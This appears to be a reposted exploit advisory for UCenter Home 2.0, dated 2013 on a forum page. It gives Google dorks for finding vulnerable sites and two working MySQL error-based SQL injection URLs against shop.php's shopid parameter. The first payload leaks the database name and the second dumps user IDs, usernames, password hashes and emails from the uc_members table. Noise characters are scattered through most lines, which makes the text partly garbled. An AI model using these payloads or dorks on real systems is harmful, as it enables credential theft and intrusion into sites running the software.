" @- P8 x+ k# G( Z( `& O! {
__--==UCenter Home 2.0 -(0day) Remote SQL Injection Vulnerability==--__ ' x% C. t: l3 d/ I
, c7 y' K% I. p' O2 t: [! ?( a
9 p U; S' h9 i
" R9 C4 T. R, x*/ Author : KnocKout
0 g, q3 R. t7 O, ^( f" E/ |) j, s7 K
* m. i( L) i* r# W) V% T8 V+ _*/ Greatz : DaiMon,BARCOD3,RiskY and iranian hackers 7 K- N5 b4 Q" [& A& N" J
7 f$ B8 D. P$ A+ [; h* G5 x% q
*/ Contact: knockoutr@msn.com # ^$ O0 C6 o4 }
+ B( B* L9 Y) }*/ Cyber-Warrior.org/CWKnocKout ) u' R7 A3 f' J, h+ o0 O$ K
6 s* Z& }/ Z. v7 v
__--==__--==__--==__--==__--==__--==__--==__--==__--==__--== # S8 P+ _1 ~3 i% t
1 m! U3 n6 U" o, PScript : UCenter Home
3 q$ b- I, V% t. {6 E
. E9 C2 @+ [; r$ x! {Version : 2.0
* O* k3 J! O: A8 G3 y/ e# d2 U
( ~* |8 p7 `2 B7 ^$ [/ Z7 L7 qScript HomePage : http://u.discuz.net/ ; _8 [, l, U9 @+ Z5 `
1 x3 {5 O5 E. Y# B9 q- c
__--==__--==__--==__--==__--==__--==__--==__--==__--==__--== - o/ Q, Q8 ]4 {* ~4 P0 U5 H
4 C$ Q6 l7 I+ R# |. \ o; J$ ODork : Powered by UCenter inurl:shop.php?ac=view 7 E: l# J/ I$ K7 E! n
8 e! q3 w- H u3 Q: [2 x+ ~
Dork 2 : inurl:shop.php?ac=view&shopid= : J/ j8 C" H6 t* ]. F: T5 J
/ @0 `4 E- n8 B1 f. y+ ?__--==__--==__--==__--==__--==__--==__--==__--==__--==__--== 2 G! Q, `" }$ N* t
2 Y9 u; x$ `+ F2 Y
Vuln file : Shop.php
$ y9 |+ i. h& w7 T; `
% R2 f8 {- c5 N, R8 y1 J0 ^value's : (?)ac=view&shopid=
3 j$ `2 g8 x' U1 p# I1 g/ B- X( t d5 Z" U" {; c2 a% i
Vulnerable Style : SQL Injection (MySQL Error Based) $ V( U3 Z, ?+ }, i
# B4 u, v4 y+ u7 u8 QNeed Metarials : Hex Conversion & b& }1 x% h* k5 K
. ]8 Y5 m' V! t& I4 i+ B__--==__--==__--==__--==__--==__--==__--==__--==__--==__--== & s, l b% k" @# q3 D+ r+ G& w2 d
/ v! P3 L; I# N4 [) K. C. v" |
Your Need victim Database name.
: d# h7 W4 `; U' R, m3 i/ J" Y. K- |8 K
for Inject : http://server/shop.php?ac=view&shopid=253 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,unhex(hex(database())),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1
6 \+ X/ y1 v$ W$ z+ Y; g, V' I! q u+ e' |0 P# r
..
' T) e4 v" p' Z* H- J0 K. f6 X
DB : Okey.
( S6 V& {# Y: O& u [( v% Z3 ?" u% ?
your edit DB `[TARGET DB NAME]` 9 Q J% i7 k% m( `9 b; b# t
0 } z, T* O7 MExample : 'hiwir1_ucenter'
% A5 q+ l' D- D& @ G
# { A5 X) s. u% R/ pEdit : Okey. 9 b& L( e6 d' R$ U
. R* ~4 U% C( N- ]4 C; D; n$ VYour use Hex conversion. And edit Your SQL Injection Exploit.. " S$ A# D8 Y3 w2 \
% y0 E- C2 o& p, o- X
# P. {% I% S( V# O" \8 l: n9 s
$ m( V: U T4 _, \' L7 w$ PExploit Code : http://server/shop.php?ac=view&shopid=253 253 and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,cast(concat(uc_members.uid,0x3a,uc_members.username,0x3a,uc_members.password,0x3a,uc_members.email) as char),0x27,0x7e) FROM `hiwir1_ucenter`.uc_members LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1
4 G: `- |. A0 r; h+ @, ~ |
发表于 2013-2-27 21:31:31
收藏
支持
反对